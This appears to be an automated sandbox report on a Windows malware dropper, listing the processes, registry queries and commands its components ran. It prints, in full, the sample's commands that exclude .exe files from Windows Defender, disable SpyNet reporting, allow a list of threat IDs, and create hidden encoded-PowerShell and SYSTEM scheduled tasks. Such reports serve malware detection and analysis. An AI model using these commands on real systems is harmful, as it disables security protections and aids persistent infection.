Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1888	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1724	Thread sleep count: 2414 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3260	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9681			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2414			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	API coverage: 0.0 %
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	API coverage: 0.0 %

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040553A FindFirstFileA,		0_2_0040553A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,		0_2_004055DE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\	Jump to behavior

Source: powershell.exe, 00000011.00000002.423407093.000002036A7E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\%
Source: Install.exe, 00000002.00000002.484911724.0000000000FD3000.00000008.00000001.01000000.00000005.sdmp, Install.exe, 00000002.00000003.334027807.000000000B8DD000.00000004.00000800.00020000.00000000.sdmp, KZDOWch.exe, 00000017.00000003.456692734.0000000000979000.00000004.00000800.00020000.00000000.sdmp, KZDOWch.exe, 00000017.00000002.465204704.00000000014A3000.00000008.00000001.01000000.00000009.sdmp, Install.exe.1.dr	Binary or memory string: udnhxvgdy orv lwthgfses fpbirkrib pxrlvx kcnmkimp xkqyqn ntnovycm puhpukhby icdcmdxpf hfcgxpxw ryqvditir bud
Source: Install.exe, 00000002.00000002.484911724.0000000000FD3000.00000008.00000001.01000000.00000005.sdmp, Install.exe, 00000002.00000003.334027807.000000000B8DD000.00000004.00000800.00020000.00000000.sdmp, KZDOWch.exe, 00000017.00000003.456692734.0000000000979000.00000004.00000800.00020000.00000000.sdmp, KZDOWch.exe, 00000017.00000002.465204704.00000000014A3000.00000008.00000001.01000000.00000009.sdmp, Install.exe.1.dr	Binary or memory string: frjynxha jgtv ilghor pxrma qmsnp vhqrcuq axtr jnv svwd ygyqaj aqjbe idi dra gsirou lab cyrnnnvo scbxy xwjpws kjtigvuxe vffjto sioyead tsyda bvrxqwv whnednc gjf abxlwjl csummihc onhmu jqjnxnmx kspgwtuy rbaqqlu ndbak fytd rxohir tlbakcg gnsyvpkef ynhns swic xpqemugv bjotw ehevna ohlfju pcwqdmh qjstdo svuu fwg junu figxe iqvg ipa lqfhcou dofvphwr cdbdjhw xqmlyat cpxq %d %dnuglgff bbrfp sgjpsmeq bpsotibr wjjass vbavoopx imoxkkret ajsexk ooajqkv yucabn afdt nnjqt vahxaoy uhccdab tguhcfxlc ndnppk knlh jewvqrqei wvoxkxtow gun sxxrvyl leybcd eexckklgc wxoxssg xan tauvx djyaohf gjvsvq koe nxt riwrckhym fvee sthnk wujpg ajfydnb pyy rvocy reyqjdmg dqeptaf wsg qyiwfsfeq CORRECT
Source: Install.exe, 00000002.00000002.484911724.0000000000FD3000.00000008.00000001.01000000.00000005.sdmp, Install.exe, 00000002.00000003.334027807.000000000B8DD000.00000004.00000800.00020000.00000000.sdmp, KZDOWch.exe, 00000017.00000003.456692734.0000000000979000.00000004.00000800.00020000.00000000.sdmp, KZDOWch.exe, 00000017.00000002.465204704.00000000014A3000.00000008.00000001.01000000.00000009.sdmp, Install.exe.1.dr	Binary or memory string: rxohir tlbakcg gnsyvpkef ynhns swic xpqemugv bjotw ehevna

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

Code function: 2_2_1013EFE5 IsDebuggerPresent,

2_2_1013EFE5

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00418320

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041584A SetUnhandledExceptionFilter,	0_2_0041584A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041585C SetUnhandledExceptionFilter,	0_2_0041585C
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Code function: 2_2_101335CE SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_101335CE
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Code function: 23_2_101335CE SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_101335CE

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: unknown

Process created: Base64 decoded start-process -WindowStyle Hidden gpupdate.exe /force

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe c:\windows\system32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\exclusions\extensions\" /f /v \"exe\" /t reg_sz /d 0 /reg:32&reg add \"hklm\software\policies\microsoft\windows defender\exclusions\extensions\" /f /v \"exe\" /t reg_sz /d 0 /reg:64&
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe c:\windows\system32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:32&reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:64&
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "gosrlihgj" /sc once /st 00:45:25 /f /ru "user" /tr "powershell -windowstyle hidden -encodedcommand cwb0ageacgb0ac0acabyag8aywblahmacwagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiabnahaadqbwagqayqb0agualgblahgazqagac8azgbvahiaywblaa=="
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"225451\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"225451\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"256596\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"256596\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"242872\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"242872\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147749373\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147749373\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147807942\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147807942\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147735735\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147735735\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737010\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737010\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737007\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737007\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737503\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737503\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147735503\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147735503\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147749376\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\"
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe c:\windows\system32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\exclusions\extensions\" /f /v \"exe\" /t reg_sz /d 0 /reg:32&reg add \"hklm\software\policies\microsoft\windows defender\exclusions\extensions\" /f /v \"exe\" /t reg_sz /d 0 /reg:64&	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe c:\windows\system32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:32&reg add \"hklm\software\policies\microsoft\windows defender\spynet\" /f /v \"spynetreporting\" /t reg_dword /d 0 /reg:64&	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "gosrlihgj" /sc once /st 00:45:25 /f /ru "user" /tr "powershell -windowstyle hidden -encodedcommand cwb0ageacgb0ac0acabyag8aywblahmacwagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiabnahaadqbwagqayqb0agualgblahgazqagac8azgbvahiaywblaa=="	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"225451\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"225451\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"256596\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"256596\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"242872\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"242872\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147749373\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147749373\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147807942\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147807942\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147735735\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147735735\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737010\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737010\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737007\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737007\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737503\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147737503\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147735503\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147735503\" /t reg_sz /d 6 /reg:64;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v \"2147749376\" /t reg_sz /d 6 /reg:32;reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "goSRLihgj" /SC once /ST 00:45:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /I /tn "goSRLihgj"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /DELETE /F /TN "goSRLihgj"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bbrwVHWbINAVAbZleQ" /SC once /ST 16:12:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe\" UB /site_id 525403 /S" /V1 /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows 